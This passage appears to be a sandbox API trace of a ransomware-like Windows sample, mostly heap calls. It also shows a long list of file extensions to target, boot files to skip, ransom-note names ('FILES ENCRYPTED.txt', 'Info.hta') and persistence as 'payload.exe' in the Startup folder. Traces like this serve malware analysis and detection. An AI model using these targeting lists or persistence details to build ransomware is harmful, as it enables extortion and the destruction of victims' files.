Size=0xa) returned 0x6f9ac0 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9b38 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x6fa438 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9cb8 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9cd0 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9a90 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9af0 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9b08 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9b20 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9c28 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9c10 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9c40 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6f9c58 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9c88 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6f9fb8 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9da8 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9e50 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9dd8 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9dc0 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa048 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9f28 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9f40 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9f58 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9ec8 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9d90 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9df0 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9f88 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9e68 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9f70 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9fa0 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9fd0 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa030 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9e80 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9ef8 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9f10 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9fe8 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9e08 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9e98 [0146.201] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6fa000 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12) returned 0x6750d8 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa060 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa018 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa078 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9e20 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9e38 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9eb0 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9ee0 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb218 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb248 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb338 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb368 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb260 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb308 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb1e8 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb320 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb350 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb3e0 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb410 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb200 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb440 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb470 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb488 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb1d0 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6fb290 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb278 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x6fa488 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb380 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x6fa4b8 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb3f8 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb428 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb398 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb3b0 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb3c8 [0146.202] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb458 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb1a0 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb1b8 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb2a8 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb230 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb2c0 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb2d8 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb2f0 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb4d0 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x6fa398 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb4a0 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb4e8 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb500 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb518 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb530 [0146.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fb548 [0146.203] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b6d40, Size=0x800) returned 0x6fb568 [0146.203] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0146.203] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f8148 | out: hHeap=0x660000) returned 1 [0146.203] lstrlenW (lpString="") returned 0 [0146.203] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fad50 | out: hHeap=0x660000) returned 1 [0146.203] lstrlenW (lpString=".btix") returned 5 [0146.203] lstrlenW (lpString=".btix") returned 5 [0146.203] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fae88 | out: hHeap=0x660000) returned 1 [0146.203] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fadb0, Size=0x20) returned 0x69d7e0 [0146.203] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d7e0, Size=0x40) returned 0x677758 [0146.203] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677758, Size=0x80) returned 0x6b4b70 [0146.203] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa3d8, Size=0x8) returned 0x6fa4e8 [0146.203] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa4e8, Size=0x10) returned 0x6fadb0 [0146.204] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fadb0, Size=0x20) returned 0x69d6c8 [0146.204] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0146.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4b70 | out: hHeap=0x660000) returned 1 [0146.204] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb188, Size=0x20) returned 0x69d5b0 [0146.204] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d5b0, Size=0x40) returned 0x677a28 [0146.204] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0146.204] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0146.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677a28 | out: hHeap=0x660000) returned 1 [0146.204] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb170, Size=0x20) returned 0x69d420 [0146.204] lstrlenW (lpString="Info.hta") returned 8 [0146.204] lstrlenW (lpString="Info.hta") returned 8 [0146.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d420 | out: hHeap=0x660000) returned 1 [0146.204] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6fbd70, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x48 [0146.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fbd70 | out: hHeap=0x660000) returned 1 [0146.205] lstrlenW (lpString="payload.exe") returned 11 [0146.205] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d6c8, Size=0x40) returned 0x6775f0 [0146.205] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6faf78, Size=0x20) returned 0x69d498 [0146.205] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6faf60, Size=0x20) returned 0x69d420 [0146.205] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d420, Size=0x40) returned 0x677a28 [0146.205] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677a28, Size=0x80) returned 0x6b5258 [0146.205] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b5258, Size=0x100) returned 0x6f5370 [0146.205] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5370 | out: hHeap=0x660000) returned 1 [0146.205] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6fbd70, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0146.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x70bd78 | out: hHeap=0x660000) returned 1 [0146.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fbd70 | out: hHeap=0x660000) returned 1 [0146.206] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa4e8, Size=0x8) returned 0x6fa538 [0146.206] lstrlenW (lpString="%windir%;") returned 9 [0146.206] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d498 | out: hHeap=0x660000) returned 1 [0146.206] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0146.206] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5140 | out: hHeap=0x660000) returned 1 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fafc0, Size=0x20) returned 0x69d830 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d830, Size=0x40) returned 0x6775a8 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6775a8, Size=0x80) returned 0x6b4d90 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b4d90, Size=0x100) returned 0x6f59a0 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa3f8, Size=0x8) returned 0x6fa478 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa478, Size=0x10) returned 0x6faee8 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6faee8, Size=0x20) returned 0x69d678 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa498, Size=0x8) returned 0x6fa4c8 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa3d8, Size=0x8) returned 0x6fa3f8 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa478, Size=0x8) returned 0x6fa3d8 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa3d8, Size=0x10) returned 0x6fb098 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb098, Size=0x20) returned 0x69d830 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa4c8, Size=0x10) returned 0x6fb188 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa3f8, Size=0x10) returned 0x6faea0 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa4e8, Size=0x8) returned 0x6fa3f8 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa408, Size=0x8) returned 0x6fa498 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb188, Size=0x20) returned 0x69d498 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6faea0, Size=0x20) returned 0x69d470 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa518, Size=0x8) returned 0x6fa4e8 [0146.207] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0146.207] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f59a0 | out: hHeap=0x660000) returned 1 [0146.207] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb068, Size=0x20) returned 0x69d8a8 [0146.208] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6d5140, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0146.208] lstrlenW (lpString="C:\\") returned 3 [0146.208] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.208] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5140 | out: hHeap=0x660000) returned 1 [0146.208] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa458, Size=0x82) returned 0x6a32f0 [0146.208] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa468, Size=0x100) returned 0x6f5478 [0146.208] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a32f0, Size=0x104) returned 0x6b6d40 [0146.209] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6f5478, Size=0x200) returned 0x6b6e50 [0146.209] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fa518 | out: hHeap=0x660000) returned 1 [0146.209] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b6e50 | out: hHeap=0x660000) returned 1 [0146.209] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6faf48 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5500 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fb020 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4bf8 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fafa8 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b6d40 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fb0f8 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3380 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fb068 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3410 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fb098 | out: hHeap=0x660000) returned 1 [0146.210] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb020, Size=0x20) returned 0x69d4e8 [0146.210] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d4e8, Size=0x40) returned 0x677a28 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fa4f8 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3260 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fb140 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4d08 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6faea0 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fa418 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fb158 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676140 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x675578 | out: hHeap=0x660000) returned 1 [0146.210] lstrlenW (lpString="%systemdrive%") returned 13 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d8a8 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5368 | out: hHeap=0x660000) returned 1 [0146.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6fa4c8 | out: hHeap=0x660000) returned 1 [0146.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6c5120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0146.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0x67af18*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 83 os_tid = 0xf84 Thread: id = 87 os_tid = 0xfa0 [0146.277] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6fb158 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb158, Size=0x20) returned 0x69d4e8 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d4e8, Size=0x40) returned 0x677758 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677758, Size=0x80) returned 0x6b50c0 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b50c0, Size=0x100) returned 0x6f5bb0 [0146.277] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6fb008 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb008, Size=0x20) returned 0x69d8a8 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d8a8, Size=0x40) returned 0x6775a8 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6775a8, Size=0x80) returned 0x6b5500 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b5500, Size=0x100) returned 0x6f5160 [0146.277] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb0f8 [0146.277] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x6fa418 [0146.277] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6fb008 [0146.277] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa418, Size=0x8) returned 0x6fa428 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x6754d8 [0146.278] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa428, Size=0x10) returned 0x6fb098 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x675418 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69d6c8 [0146.278] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb098, Size=0x20) returned 0x69d4e8 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x69d420 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16) returned 0x675498 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69d8a8 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fb098 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x6fa4c8 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x6775a8 [0146.278] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa4c8, Size=0x8) returned 0x6fa468 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3c) returned 0x677758 [0146.278] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fa468, Size=0x10) returned 0x6fb140 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x6753b8 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x675638 [0146.278] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6fb140, Size=0x20) returned 0x69d8d0 [0146.278] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 